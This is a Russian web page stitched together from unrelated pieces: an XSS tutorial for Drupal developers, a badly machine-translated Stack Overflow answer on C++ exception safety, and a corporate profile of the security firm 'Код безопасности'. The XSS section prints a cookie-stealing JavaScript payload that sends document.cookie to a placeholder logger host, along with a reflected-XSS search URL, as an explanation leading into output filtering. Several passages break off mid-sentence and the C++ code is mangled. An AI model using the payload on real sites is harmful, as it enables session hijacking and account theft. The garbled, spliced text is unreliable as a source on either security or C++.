Вы (действительно) пишете безопасный код исключения? Некоторые сценарии XSS атак. Как обезопасить код от XSS

Наверняка, XSS атаки остаются самыми популярными наравне с SQL инъекциями. Их принцип прост до безобразия, а последствия разнятся от невинного коверканья вывода страниц до получения злоумышленником полного контроля над сайтом.

Некоторые сценарии XSS атак

Устойчивая атака

  • Вова создает частицу контента на сайте Пети.
  • Когда Маша просматривает этот контент, Вовин XSS ворует Машины куки.
  • Теперь Вова может пробраться на сайт, используя Машину сессию.
  • Чем более людей увидит этот контент, тем более успешной можно считать атаку. Максимум достигается путем создания противоречивых холиварных тем на сайте и т.д.
Вот вам простейший пример как именно происходит воровство куков и их использование.
  • На страницу вставляется код іmg=new Image();іmg.srс="http://sniffsite/s.php?"+document.cookie; .
  • На другом конце скрипта стоит логгер запросов. Злоумышленник выбирает из этого лога идентификатор сессии, и создает свою куку, аналогичную куке жертвы.
  • Теперь злоумышленник просто может зайти браузером на сайт, причем уже влогиненным в аккаунт пользователя-жертвы (кука-то жертвы).
И если под обычным аккаунтом злоумышленник может навредить в пределах прав этого аккаунта, то завладев аккаунтом рута (под которым ходят 90% наших друпаллеров) он может буквально убить сайт тем 60% друпаллеров, которые не делают частые бекапы.

Неустойчивая атака

  • Юля использует сайт, написанный Ахмедом. Ахмед предоставляет ей возможность заходить на сайт, используя логин/пароль и держать там личные данные.
  • Вова обыскивает сайт Ахмеда и находит XSS уязвимость.
  • Вова формирует специальную ссылку и отправляет ее Юле по аське.
  • Юля, находясь залогиненной на сайте, переходит по Вовиной ссылке.
  • Запускается XSS, завязанный в ссылке страницы. (Здесь уже все зависит от криворукости Ахмеда и мастерства Вовы. Это может быть использование связанной CSRF уязвимости - Юля, сама того не зная, может отправить пачку спама, удалить весь контент на сайте и т.д., так и более приземленное - кража секретной информации, либо куков.
Что означает XSS, завязанный в ссылке ? Очень распространенный пример - форма поиска, с таким кодом
"> .

Теперь, если в адресной строке написать site.ru/search.php?srch=">іmg=new Image();іmg.srс="http://snifsite/s.php" +document.cookie; , мы получим куки каждой жертвы, посетившей этот URL.

Как обезопасить код от XSS?

Ответ прост - фильтровать вывод на страницу.

Методы фильтрации в Друпале

Золотое правило работы с данными - хранить пользовательский ввод в базе именно в том виде, в котором он был отправлен. Поэтому, всю фильтрацию следует производить на этапе вывода пользовательских данных на страницу.

Весь пользовательский ввод можно разделить на два типа:

  1. Текст без разметки (plain text)

    Любой пользовательский ввод, который должен быть подан в виде чистого текста, должен проходить через функцию check_plain() , которая превратит кавычки, амперсанды и угловые скобки в их HTML представление. Затем, такой текст может быть уже вставлен в конечную HTML разметку страницы.

    Большинство функций темизации и API принимают в параметрах строки, и, так или иначе, осуществляют их фильтрацию :

    • t() : В этой функции можно использовать несколько типов заполнителей, которые будут фильтроваться по-разному:
      • !variable - вставится без изменений
      • @variable - пройдет через check_plain() .
      • %variable - пройдет через theme("placeholder") .
    • l() : Текст ссылки всегда проходит через check_plain() , кроме случаев, когда явно не выставлен ее параметр $html .
    • Элементы меню и «хлебных крошек» : Заголовки автоматически фильтруются.

      Обратите внимание, что пользователь, просматривающий текст с разметкой, прошедший через check_markup() , должен иметь права на просмотр выбранного формата ввода. По-умолчанию, такая проверка осуществляется всегда. Однако, это не всегда нужно, так как контент обычно просматривается пользователями с меньшими правами, нежели у того, кто создал этот контент. Поэтому проверку прав при выводе можно отключить, подав соответствующий параметр в check_markup() . Но вы должны всегда проверять эти права с помощью

В вашем вопросе утверждается, что "Написание безопасного кода безопасности очень сложно". Сначала я отвечу на ваши вопросы, а затем отвечу на скрытый вопрос позади них.

Ответы на вопросы

Вы действительно пишете безопасный код исключения?

Конечно, да.

Это причина the . Java потерял много своей привлекательности для меня как программиста на С++ (отсутствие семантики RAII), но я отвлекаюсь: это вопрос на С++.

Это действительно необходимо, когда вам нужно работать с кодом STL или Boost. Например, потоки С++ (boost::thread или std::thread) будут генерировать исключение, чтобы выйти изящно.

Вы уверены, что ваш последний "готовый к производству" код безопасен?

Вы даже можете быть уверены, что это?

Написание исключающего кода кода похоже на создание кода без ошибок.

Вы не можете быть на 100% уверены, что ваш код безопасен. Но тогда вы стремитесь к этому, используя хорошо известные шаблоны и избегая известных анти-шаблонов.

Знаете ли вы и/или используете альтернативы, которые работают?

В С++ нет жизнеспособных альтернатив (т.е. вам нужно вернуться на C и избежать библиотек С++, а также внешних сюрпризов, таких как Windows SEH).

Написание кода безопасного исключения

Чтобы написать безопасный код исключения, вы должны знать first , какой уровень безопасности исключений для каждой команды, которую вы пишете.

Например, new может генерировать исключение, но назначение встроенного (например, int или указателя) не приведет к сбою. Подкачка никогда не будет терпеть неудачу (никогда не пишите метательный обмен), std::list::push_back может выбросить...

Гарантия исключения

Первое, что нужно понять, это то, что вы должны иметь возможность оценить гарантию исключения, предлагаемую всеми вашими функциями:

  • none . Ваш код никогда не должен предлагать это. Этот код прольет все и разбивается при первом исключении.
  • basic . Это гарантия, которую вы должны, по крайней мере, предлагать, то есть если исключение выбрано, ресурсы не просачиваются, а все объекты остаются целыми.
  • strong . Обработка будет либо успешной, либо вызовет исключение, но если она будет выбрана, то данные будут в том же состоянии, что и обработка не началась вообще (это дает транзакционная мощность для С++)
  • nothrow/nofail : обработка будет успешной.

Пример кода

Следующий код выглядит как правильный С++, но на самом деле предлагает гарантию "none", и, следовательно, это неверно:

::max() > t.integer) // 1. nothrow/nofail t.integer += 1 ; // 1". nothrow/nofail X * x = new X() ; // 2. basic: can throw with new and X constructor t.list.push_back(x) ; // 3. strong: can throw x->

Я пишу весь мой код с таким анализом.

Самая низкая предлагаемая гарантия является базовой, но тогда упорядочение каждой команды делает всю функцию "ни одной", потому что, если 3. throws, x будет протекать.

Первое, что нужно сделать, это сделать функцию "basic", которая помещает x в интеллектуальный указатель до тех пор, пока он не будет надежно сохранен в списке:

Void doSomething(T & t) { if(std::numeric_limits::max() > t.integer) // 1. nothrow/nofail t.integer += 1 ; // 1". nothrow/nofail std::auto_ptr x(new X()) ; // 2. basic: can throw with new and X constructor X * px = x.get() ; // 2". nothrow/nofail t.list.push_back(px) ; // 3. strong: can throw x.release() ; // 3". nothrow/nofail px->doSomethingThatCanThrow() ; // 4. basic: can throw }

Теперь наш код предлагает "базовую" гарантию. Ничто не будет течь, и все объекты будут в правильном состоянии. Но мы могли бы предложить больше, то есть сильную гарантию. Здесь он может стать дорогостоящим, и именно поэтому сильный не все код С++. Попробуем:

Void doSomething(T & t) { // we create "x" std::auto_ptr x(new X()) ; // 1. basic: can throw with new and X constructor X * px = x.get() ; // 2. nothrow/nofail px->doSomethingThatCanThrow() ; // 3. basic: can throw // we copy the original container to avoid changing it T t2(t) ; // 4. strong: can throw with T copy-constructor // we put "x" in the copied container t2.list.push_back(px) ; // 5. strong: can throw x.release() ; // 6. nothrow/nofail if(std::numeric_limits::max() > t2.integer) // 7. nothrow/nofail t2.integer += 1 ; // 7". nothrow/nofail // we swap both containers t.swap(t2) ; // 8. nothrow/nofail }

Мы повторно упорядочили операции, сначала создав и установив X в правильное значение. Если какая-либо операция завершается неудачно, то t не изменяется, поэтому операция с 1 по 3 может считаться "сильной": если что-то срабатывает, t не изменяется, а X не будет течь, потому что он принадлежит смартму указатель.

Затем мы создаем копию t2 of t и работаем над этой копией из операции с 4 по 7. Если что-то бросает, t2 изменяется, но тогда t по-прежнему является оригиналом. Мы по-прежнему предлагаем сильную гарантию.

Тогда мы поменяем t и t2 . Операции свопинга должны быть не нарисованы на С++, поэтому давайте надеяться, что своп, который вы написали для t , является nothrow (если это не так, перепишите его так, чтобы он не был).

Итак, если мы дойдем до конца функции, все сработало (нет необходимости в возвращаемом типе), а t имеет свое значение. Если он терпит неудачу, то t имеет все еще свое первоначальное значение.

Теперь предоставление сильной гарантии может быть довольно дорогостоящим, поэтому не стремись предоставить сильную гарантию ко всему вашему коду, но если вы можете сделать это без затрат (а вложение С++ и другая оптимизация могут сделать весь код выше безрезультатно), тогда сделайте это. Пользователь функции поблагодарит вас за это.

Заключение

Требуется некоторая привычка писать безопасный код. Вам нужно будет оценить гарантию, предлагаемую каждой инструкцией, которую вы будете использовать, а затем вам нужно будет оценить гарантию, предлагаемую списком инструкций.

Конечно, компилятор С++ не будет создавать резервную копию гарантии (в моем коде я предлагаю гарантию как тэг @warning doxygen), что печально, но это не должно мешать вам пытаться писать безопасные исключения код.

Нормальная ошибка с ошибкой

Как программист может гарантировать, что функция nofail всегда будет успешной? В конце концов, функция может иметь ошибку.

Это верно. Исключительные гарантии должны предлагаться без ошибок. Но тогда на любом языке вызов функции предполагает, что функция не содержит ошибок. Никакая здравомыслящий код не защищает себя от возможности наличия ошибки. Напишите код как можно лучше, а затем предложите гарантию с предположением, что это ошибка. И если есть ошибка, исправьте ее.

Исключения относятся к исключительной ошибке обработки, а не к ошибкам кода.

Последние слова

Теперь вопрос: "Стоит ли это?".

Конечно. Наличие функции "nothrow/nofail", зная, что функция не сработает, - отличное благо. То же самое можно сказать и о "сильной" функции, которая позволяет писать код с транзакционной семантикой, например, с базами данных, с функциями фиксации/отката, причем фиксация является нормальным выполнением кода, а исключения - откатом.

Тогда "основная" - это наименьшая гарантия, которую вы должны предложить. С++ - очень сильный язык там, с его областями, позволяющий избежать утечек ресурсов (что-то сборщику мусора будет трудно предложить для базы данных, подключения или файлов).

Итак, насколько мне известно, он стоит того.

Редактировать 2010-01-29: О не-метании swap

nobar сделал комментарий, который, я считаю, весьма уместен, потому что он является частью "как вы пишете безопасный код исключения":

  • Сделка никогда не потерпит неудачу (даже не пишите метательный обмен)
  • Это хорошая рекомендация для пользовательских функций swap() . Следует, однако, отметить, что std::swap() может завершиться неудачей на основе операций, которые он использует внутри

по умолчанию std::swap создаст копии и назначения, которые для некоторых объектов могут быть выбрасываться. Таким образом, своп по умолчанию может использоваться, как для ваших классов, так и даже для классов STL. Что касается стандарта С++, операция свопинга для vector , deque и list не будет выбрасываться, тогда как для map , если функтор сравнения может бросить на построение копии (см. Язык программирования С++, специальное издание, приложение E, E.4.3.Swap ).

Рассматривая реализацию векторного свопа Visual С++ 2008, векторный своп не будет бросать, если два вектора имеют один и тот же распределитель (т.е. обычный случай), но будут делать копии, если у них есть разные распределители. И, таким образом, я предполагаю, что это может забросить этот последний случай.

Итак, исходный текст по-прежнему сохраняется: никогда не пишите метапотный обмен, но нужно помнить о значении nobar: убедитесь, что объекты, которые вы меняете, имеют неперебрасываемый обмен.

Изменить 2011-11-06: Интересная статья

Посмотрите на 7-й пункт (автоматизированное тестирование для безопасности исключений), где он опирается на автоматическое тестирование модулей, чтобы убедиться, что каждый случай проверен. Я думаю, эта часть является отличным ответом автору вопроса " Вы даже можете быть уверены, что это? ".

Редактировать 2013-05-31: Комментарий от dionadar

t.integer += 1; без гарантии того, что переполнение не произойдет НЕ БЕЗОПАСНО БЕЗОПАСНО, и на самом деле может технически вызывать UB! (Подписанное переполнение - UB: С++ 11 5/4 "Если во время оценки выражения результат не определен математически или нет в диапазоне значений, представляемых для его типа, поведение undefined.") Примечание. что целое число без знака не переполняется, а выполняет их вычисления в классе эквивалентности по модулю 2 ^ # бит.

Dionadar ссылается на следующую строку, которая действительно имеет поведение undefined.

T.integer += 1 ; // 1. nothrow/nofail

Решение состоит в том, чтобы проверить, действительно ли целое число уже имеет максимальное значение (используя std::numeric_limits::max()), прежде чем делать добавление.

Моя ошибка попадет в раздел "Нормальная ошибка с ошибкой", то есть ошибка. Это не делает недействительным аргументацию, и это не значит, что безопасный код исключений бесполезен, потому что его невозможно достичь. Вы не можете защитить себя от выключения компьютера или ошибок компилятора или даже ошибок или других ошибок. Вы не можете достичь совершенства, но можете попытаться приблизиться как можно ближе.

Я исправил код с комментарием Dionadar.

Задача компании «Код безопасности» - разработка, развитие и продвижение линейки продуктов и решений информационной безопасности среди заказчиков и партнеров.

Показатели деятельности

2018: Оборот - 4 045 000 тыс. рублей

По итогам 2018 года оборот «Кода безопасности» составил 4 045 000 тыс. руб., при этом второй год подряд он превышает 4 000 000 тыс. руб. Компания от года к году наращивает уровень прибыльности бизнеса: в 2018 году EBITDA достигла 910 000 тыс. руб. (для сравнения, этот показатель в 2017 году составлял 900 000 тыс. руб.), сообщили TAdviser 11 февраля 2019 года в компании «Код безопасности».

Наибольшие доли в обороте компании в 2018 году заняли такие направления безопасности , как защита сетевой инфраструктуры (43,3%) и защита конечных точек (34,4%).

Лидерами продаж по итогам 2018 года, по данным компании, стали продукты линейки «Континент» (1752 млн руб.), vGate (748 млн руб.) и Secret Net Studio (723 млн руб.). Самую высокую динамику по сравнению с 2017 годом продемонстрировали Secret Net Studio и vGate: рост составил 95% и 93% соответственно.

Прошедший отчетный период стал для «Кода безопасности» годом активного обновления продуктового портфеля и получения новых сертификатов регуляторов. В группе средств сетевой безопасности появился «Континент» 3.9 с новыми платформами, повышенной производительностью межсетевого экрана и аппаратным криптоускорителем для шифрования по ГОСТ. Вышел «Континент TLS-сервер» 2 с поддержкой нескольких криптопровайдеров. Успешно завершилась процедура сертификации продукта «Континент» WAF на соответствие требованиям ФСТЭК России к межсетевым экранам.

В компании также выделяют выпуск очередной версии Secret Net Studio 8.4 и прохождение продуктом инспекционного контроля во ФСТЭК России . В конце 2018 года был получен сертификат ФСТЭК России на ПАК «Соболь» 4, и стартовали продажи продукта. Ключевыми отличиями следующего поколения модулей доверенной загрузки стали поддержка технологии UEFI, совместимость с USB 3.0, а также расширение функциональных возможностей. Также было выпущено обновление и расширен список доступных платформ продукта Terminal - тонкого клиента со встроенными средствами защиты информации от несанкционированного доступа .

Главным событием в сегменте средств защиты виртуальных сред стал выпуск обновленного продукта vGate 4.1 с безагентным виртуальным межсетевым экраном vNetwork, позволяющим создавать правила фильтрации как на уровне отдельной виртуальной машины , так и на уровне групп виртуальных машин.

В прошедший отчетный период продолжилось развитие не только продуктовых, но и сервисных сегментов бизнеса компании, второй год подряд составляющих 9% в общей выручке «Кода безопасности». В 2018 году компания добавила в перечень профессиональных сервисов такое направление, как анализ безопасности ПО. Интерес к данному виду деятельности продиктован его высокой рыночной динамикой, а также растущим спросом заказчиков, пояснили в компании.

«Код безопасности» в 2018 году продолжал развитие зарубежного бизнеса: компания получила разрешительные документы на экспорт Secret Net Studio, реализовала с помощью партнеров ряд пилотных проектов в государственных и силовых структурах Индонезии , Чили, Перу, ОАЭ .

Мы наметили на ближайший год развитие не только на уже привычных нам рынках России , Латинской Америки и Ближнего Востока . Большой интерес к обеспечению реальной защиты с помощью продуктов «Кода безопасности» демонстрируют заказчики стран СНГ и Юго-Восточной Азии . Уверен, что 2019 год станет годом первых внедрений наших средств защиты информации в этих регионах, - рассказал Федор Дбар , коммерческий директор компании «Код безопасности».

Сертификаты

В апреле 2011 года сообщено о получении решения Федерального органа по сертификации средств защиты информации по требованиям безопасности информации Министерства обороны Российской Федерации о том, что нижеследующие изделия, разработанные ООО «Код Безопасности»:

  • Программно-аппаратный комплекс "Соболь". Версия 3.0 RU.40308570.501410.001.
  • Средство защиты информации TrustAccess RU.88338853.501410.003.
  • Средство защиты информации TrustAccess-S RU.88338853.501410.004.
  • Средство защиты информации Secret Net 6 RU.88338853.501410.007.
  • Средство защиты информации Secret Net 6 (вариант К) RU.88338853.501410.008.
  • Система сбора данных о программном и аппаратном обеспечении "Код Безопасности: Инвентаризация" RU.88338853.501510.001.
  • Средство защиты информации Security Code vGate for VMware Infrastructure RU.88338853.501410.002

и имеющие действующие сертификаты соответствия ФСТЭК России и ФСБ России , не требуют дополнительной сертификации в системе сертификации средств защиты информации Министерства обороны Российской Федерации по требованиям безопасности информации. Полученное решение позволяет применять продукты разработки компании «Код Безопасности» в структурах, относящихся к Министерству обороны Российской Федерации, и его подведомственных службах.

Партнерская программа

2018

Партнерская программа «Кода безопасности» строится на двухуровневой модели продаж: у компании пять дистрибьюторов и обширная партнерская сеть. Количество авторизованных партнеров постоянно растет, на конец 2018 года оно достигло 1246. При этом в 2018 году на 10% по сравнению с 2017 годом выросло количество партнеров, совершивших хотя бы одну продажу: оно составило 1052 партнера.

В 2018 году почти половина партнеров продемонстрировали рост продаж: 532 партнера улучшили свои показатели по сравнению с 2017 годом. 240 партнеров повысили свои партнерские статусы по итогам работы в 2018 году, что является хорошим стимулом для дальнейшего совместного бизнеса.

В числе ТОП-4 регионов, где благодаря усилиям локальных партнеров вырос уровень продаж продуктов «Кода безопасности», следует выделить ЮФО (рост продаж составил 23%), УрФО (16%), СЗФО (14%), ЦФО (13%).

2017

2018

Запуск направления услуг "Анализ безопасности ПО"

Технологическое партнерство с «Лабораторией Касперского»

Компании «Код безопасности» и «Лаборатория Касперского » в январе 2018 года объявили о начале технологического сотрудничества. Партнерство призвано повысить уровень защищенности инфраструктуры и данных заказчиков, а также усилить позиции обеих компаний в сегментах рынка информационной безопасности .

По условиям партнерского соглашения, «Код безопасности» получает право интегрировать в свои продукты ряд технологических решений «Лаборатории Касперского». Сотрудничество затронет направления защиты конечных устройств и корпоративных сетей. В дальнейшем компании планируют распространить партнерство и на область обеспечения безопасности виртуальных сред.

Сотрудничество в области защиты конечных устройств предусматривает встраивание решения на основе технологии Kaspersky Anti-Virus SDK в модуль антивирусной защиты в составе комплексного продукта Secret Net Studio. В результате у заказчиков появится возможность выбора и приобретения антивирусного модуля на базе технологий «Лаборатории Касперского». Планируется, что использование антивирусного модуля на базе Kaspersky Anti-Virus SDK в составе Secret Net Studio будет сертифицировано на соответствие требованиям ФСТЭК России к средствам антивирусной защиты.

Кроме того, в модуле системы обнаружения вторжений (СОВ), входящем в Secret Net Studio , появится возможность использовать регулярно обновляемые потоки данных о вредоносных объектах - Threat Data Feeds. Средства доставки потоков данных реализованы в технологии потокового сканирования Kaspersky SafeStream II , которая предназначена для обнаружения и нейтрализации наиболее опасных и распространенных угроз в режиме реального времени. В итоге доступ к зараженным и потенциально опасным объектам и интернет -ресурсам будет блокироваться СОВ в составе Secret Net Studio.

В области сетевой защиты планируется включение этой же технологии - Kaspersky SafeStream II - в модуль обнаружения вторжений флагманского продукта «Кода безопасности» - «Континент» 4, который готовится к выпуску. В результате будет обеспечена усиленная защита периметра сети от вредоносных программ (в том числе фишинговой и бот-активности) посредством предотвращения проникновения в сеть вредоносных объектов, а также контроля доступа к потенциально опасным интернет-ресурсам. Поддерживаемая база таких ресурсов насчитывает свыше 500 тыс. позиций.

Информация об интегрированных в продукты «Кода безопасности» технологиях «Лаборатории Касперского» будет включена в маркетинговые материалы и отражена в графическом пользовательском интерфейсе. По условиям договора, продажи лицензий на интегрированные продукты могут осуществляться как на территории Российской Федерации, так и в странах постсоветского пространства (Армения , Азербайджан , Беларусь , Грузия , Казахстан , Кыргызстан , Молдова , Таджикистан , Туркменистан , Узбекистан , Украина). В перспективе, по мере расширения присутствия компании «Код безопасности» на рынках Ближнего Востока и Африки, интегрированные продукты планируется реализовывать и в этих регионах.

2017

Рост оборота год к году на 29%

По итогам 2017 года оборот компании «Код безопасности» составил 4 319 000 тыс. руб., что на 29% выше, чем в предыдущем отчетном периоде (3 348 000 тыс. руб.). Лидирующими продуктовыми направлениями стали сегменты защиты сетей и защиты конечных точек. Наибольшую динамику продемонстрировали продукты для обеспечения безопасности электронной подписи, корпоративных сетей и виртуальных сред.

Наибольшую долю в обороте компании в 2017 году заняли такие направления, как сетевая безопасность (49%) и защита конечных точек (24,4%).

Самую высокую динамику продемонстрировали такие продукты, как Jinn (6533%), Secret Net Studio (763%) и vGate (109%) - темпы роста продаж vGate в 2017 году (109%) превысили динамику 2016 года (81%), уточнили в компании.

Тройку лидеров продаж по итогам 2017 года составили такие средства защиты, как АПКШ «Континент» (2118 млн руб.), ПАК «Соболь» (455 млн руб.) и Jinn (398 млн руб.), уже отмеченный ранее в качестве самого динамично растущего продукта.

2017 год стал для «Кода безопасности» годом выпуска четвертого поколения ряда продуктов. В числе радикально обновленных средств защиты следует отметить «Континент» 4 (пока выпущена бета-версия). В декабре 2017 года начались продажи vGate 4.0. В 2017 году компания выпустила Terminal - тонкий клиент со встроенными средствами защиты информации от несанкционированного доступа.

Общее количество клиентов, купивших продукты «Кода безопасности» в 2017 году, превысило 8 тыс. Продукты «Кода безопасности» в 2017 году обеспечили защиту критически значимых для страны федеральных и региональных государственных информационных систем (ГИС): «Правовая статистика», «Правосудие» , «Единый государственный реестр заключений экспертизы проектной документации», Федеральная государственная информационная система ценообразования в строительстве , «Телемедицина », «Безопасный город» , «Контингент».

В числе крупнейших заказчиков года - Федеральное казначейство , Банк России , Генеральную прокуратуру РФ , госкорпорацию «Росатом », Федеральный центр информатизации при ЦИК России , Министерство обороны РФ , МВД России, МОЭК , Министерство финансов РФ , Банк ВТБ , ФСО России .

Компания «Код безопасности» 17 октября объявила о выходе на иностранный рынок: для зарубежной экспансии компания выбрала модель формирования технологических альянсов. В октябре было подписано соглашение о сотрудничестве с поставщиком ИБ -решений в регионы Ближнего Востока и Африки. Ранее компания начала работать в Латинской Америке, где создала локального партнера-разработчика.

Предпосылки

В числе предпосылок выхода за рубеж - наличие у компании множества успешно работающих в России продуктов информационной безопасности . В то же время, динамику российского ИБ-рынка, по словам представителей компании, сдерживают негативные экономические факторы. При этом отечественный сегмент рынка защиты конечных устройств близок к насыщению.

Начало экспансии за рубеж

«Код безопасности» начал взаимодействовать с зарубежными партнерами в 2015 году - тогда в Уругвае была создана компания KOD Latam Security, занимающаяся разработкой локальных продуктов на базе технологий «Кода безопасности» и их адаптацией для заказчиков Латинской Америки. Основными клиентами KOD Latam Security –выступают государственные и силовые структуры, транспортные компании, финансовый сектор.

Выход на рынки Ближнего Востока и Африки

Для работы на Ближнем Востоке и в Африке «Код безопасности» выбрал другую бизнес-модель: производитель заключил соглашение о сотрудничестве с поставщиком ИБ-решений Al Hosani Computer LLC (ОАЭ), который стал авторизованным дистрибьютором компании в регионе.

Через Al Hosani Computer LLC заказчики региона смогут приобрести три флагманских продукта «Кода безопасности», покрывающих весь спектр потребностей в защите конечных точек и виртуальных инфраструктур:

  • Secret Net Studio - комплексное решение для защиты рабочих станций и серверов на уровне данных, приложений, сети, операционной системы и периферийного оборудования.
  • vGate - решение для защиты платформ виртуализации на базе или Microsoft Hyper-V .
  • Secret MDM - продукт для управления корпоративной мобильностью и защиты данных на мобильных устройствах из «облака » или в собственной инфраструктуре.

Комплекс решений компании «Код безопасности» соответствует законодательным требованиям стран ближневосточного региона в сфере информационной безопасности, а также современным международным стандартам защиты информационных систем в таких областях, как идентификация и аутентификация , управление доступом, антивирусная защита , обнаружение и предотвращение вторжений, контроль устройств, мониторинг событий безопасности.

Концепция наложенной безопасности

Совместная работа «Кода безопасности» и Al Hosani Computer LLC позволит ключевым потребителям Ближнего Востока и Африки познакомиться с концепцией наложенной безопасности, которая лежит в основе продуктов производителя. Суть концепции - в создании доверенных систем в недоверенной среде. Вендор помогает заказчику строить не зависящую от иностранных ИТ систему защиты, которая полностью контролирует данные и гарантирует, что утечки не произойдет.

Обновление фирменного стиля

По словам компании, обновление фирменного стиля обусловлено необходимостью отражения изменений, произошедших в компании за последние годы, а также ростом масштабов задач, реализуемых в тесном партнерстве с участниками рынка информационной безопасности .

Визуальная атрибутика начала трансформироваться в 2015 году, когда «Код безопасности», стремясь усилить восприятие компании как российского игрока рынка ИБ, ввел в фирменный стиль образы русских фольклорных персонажей, символизирующих защиту и силу. Национальные герои – богатыри – и их защитная атрибутика – щиты, шлемы, кольчуга и др. – стали символами продуктов «Кода безопасности». Произошедшие перемены были позитивно восприняты рынком и теперь получили логическое продолжение.

Обновленный логотип подчеркивает российское происхождение компании. Знак воспринимается как фрагмент «богатырского» защитного атрибута – кольчуги – и отражает готовность к реагированию на новые вызовы, заинтересованность в гармонизации взаимодействия четырех ключевых сторон сферы безопасности: вендор, заказчик, регулятор, партнер. Стремление вместе двигаться к общей цели визуально реализовано в виде замкнутой цепи из четырех колец.

Кроме того, знак подчеркивает готовность компании обеспечить комплексную защиту данных. Второй символический посыл четырех «граней» логотипа заключается в представлении четырех направлений безопасности, которую обеспечивают продукты компании: сетевое взаимодействие, рабочие станции и серверы, виртуальная инфраструктура, мобильные устройства.

2016

2016: Рост бизнеса более чем на треть

Бизнес компании вырос за отчетный период более чем на треть. Наибольшую динамику продемонстрировали продукты для защиты сетей и виртуальных инфраструктур. По итогам 2016 года оборот компании «Код безопасности» составил 3 348 000 тыс. руб.(В ценах конечного пользователя). Это на 34% выше, чем годом ранее (2 504 000 тыс. руб.). В ранкинге по итогам 2016 года компания "Код Безопасности" заняла 34-ю строчку.

Наибольшую динамику продемонстрировали такие продукты, как АПКШ «Континент» (56%), ПАК «Соболь» (20%) и vGate (81%). В числе факторов роста – растущий спрос на решения по защите сетей, конечных устройств и виртуальной инфраструктуры от угроз; потребность заказчиков в инвестициях в новые отечественные средства ИБ, обеспечивающие надежную защиту и соответствие требованиям регуляторов.

Лидирующие доли в продуктовом портфеле в отчетный период принадлежали АПКШ «Континент» (56,48%), Secret Net (19,33%) и ПАК «Соболь» (12,59%). По итогам 2016 года структура продаж продуктов «Кода безопасности» выглядит следующим образом:

В списке крупнейших заказчиков, приобретших продукты «Кода безопасности» в 2016 году, можно отметить Минобороны России, Федеральный центр информатизации при ЦИК России , Федеральное казначейство , Банк России , Госкорпорацию «Росатом », МВД России , ФСО России , ФСИН России , МОЭК , Госкорпорацию «Ростех », «РТ-Инвест транспортные системы » и Росприроднадзор .

«Код безопасности» аккредитован в качестве испытательной лаборатории ФСБ

«Код безопасности» объявила в ноябре о получении аттестата аккредитации ФСБ России : регулятор включил компанию в перечень организаций, аккредитованных в системе сертификации средств защиты информации по требованиям безопасности для сведений, составляющих государственную тайну, № РОСС RU.0003.01БИ00.

В соответствии с аттестатом аккредитации испытательная лаборатория «Кода безопасности» получает право на проведение исследований функциональных свойств продукции на соответствие требованиям нормативных документов Федеральной службы безопасности Российской Федерации.

Аккредитация в качестве испытательной лаборатории позволяет «Коду безопасности» заняться проведением сертификационных испытаний следующих наименований продукции:

  • Программные средства защиты информации от несанкционированного доступа (НСД) и программных закладок.
  • Защищенные программные средства обработки информации.
  • Программно-технические средства защиты информации.

Основные функции испытательной лаборатории состоят в отборе образцов вышеперечисленной продукции для проведения сертификационных испытаний; разработке программы и методики сертификационных испытаний, их осуществлении, оформлении протоколов сертификационных испытаний и технических заключений.

На основании результатов испытаний в лаборатории «Кода безопасности» ФСБ сможет проводить экспертизу материалов испытаний, выдавать заявителям заключение, а затем и сертификат.

Процесс разработки продуктов «Кода безопасности» приведен в соответствие национальному стандарту ГОСТ Р 56939–2016

Компания «Код безопасности» объявила летом 2016 года о внедрении процесса разработки программного обеспечения (SDL - Security Development Lifecycle) в соответствии с национальным стандартом ГОСТ Р 56939–2016. Принятая в компании политика формирует базовые принципы организации процессов, направленных на выпуск надежных средств защиты информации .

Летом 2016 года Федеральным агентством по техническому регулированию и метрологии (Росстандартом России) был утвержден национальный стандарт ГОСТ Р 56939–2016 «Защита информации. Разработка безопасного программного обеспечения. Общие требования». Документ вступит в силу с 1 июля 2017 года, он регламентирует содержание и порядок выполнения работ по созданию надежного программного обеспечения и формированию среды для оперативного устранения выявленных пользователями ошибок и уязвимостей.

В соответствии с принятым документом, долгосрочные цели «Кода безопасности» формируются в рамках непрерывного совершенствования системы менеджмента качества (по ГОСТ ISO 9001–2011) и теперь ориентированы на требования ГОСТ Р 56939–2016. В частности, в рамках жизненного цикла каждого продукта проводятся процедуры, направленные на предотвращение появления уязвимостей и их своевременное устранение; внедряются методики, основанные на требованиях ГОСТ Р 56939–2016, осуществляется непрерывный аудит процессов разработки и их оптимизация .

Смена владельцев

Оставшиеся доли распределены между основателями интегратора "Информзащита " Петром Ефимовым (7,5%) и Дмитрием Ершовым (6%), а также финансовым директором "Кода безопасности" Аллой Скрябиной (5%).

До июня 2016 года "Код безопасности" на 100% принадлежал "Информзащите".

Кто такая Елена Бокова и чьи интересы она представляет, в "Коде безопасности" и "Информзащите" сообщить TAdviser не смогли.

«Код безопасности» анонсирует запуск «Политики ответственного разглашения»

Компания «Код безопасности » объявила в июне 2016 года о старте программы, направленной на взаимодействие с исследователями в области защиты информации . «Политика ответственного разглашения » (Responsible disclosure policy) призвана установить порядок действий разработчика и внешних ИБ-специалистов при обнаружении уязвимости в любом продукте «Кода безопасности».

Подход, когда исследователь при обнаружении уязвимости уведомляет о ней только производителя программного обеспечения, позволяет разработчику защитить пользователей и выпустить исправления раньше, чем уязвимость начнет массово использоваться злоумышленниками. Результатом регламентированного взаимодействия разработчика и внешнего ИБ-специалиста является повышение скорости реагирования компании на инциденты, качества продуктов и, в конечном итоге, уровня защищенности заказчиков.

Для «Кода безопасности» привлечение пользователей и исследователей к тестированию продуктов на этапе запуска бета-версии – стандартная практика. В частности, успешным примером такого взаимодействия стало бета-тестирование продукта для защиты рабочих станций и серверов Secret Net Studio . За три месяца познакомиться с его возможностями смогли более 800 специалистов, чьи пожелания и комментарии были учтены при доработке продукта. Одним из результатов стало своевременное обнаружение и устранение уязвимости в продукте, благодаря чему в финальной версии Secret Net Studio проблема была исправлена.

«Раннее обнаружение уязвимости выгодно всем - и заказчику, и разработчику: это позволяет скорректировать жизненный цикл продукта, быстро отреагировать на инцидент, вовремя предоставить пользователям обновление продукта. Регулирование отношений между компанией и независимыми экспертами и организациями в области

Задача защиты программного кода от различных уязвимостей - очень важная проблема в современной быстро растущей индустрии IT. XSS, SQL-инъекции, переполнение буффера с последующими получением привилегий - всё это и многое другое следствия ошибок разработчиков, которые, к сожалению, совершают их с каждым днём всё больше и больше. Объясняется это просто: технологии движутся вперёд, объёмы кода сильно растут, а качество мозга людей и соответственно, написанного ими программного кода - не растёт. Или растёт, но не так быстро.

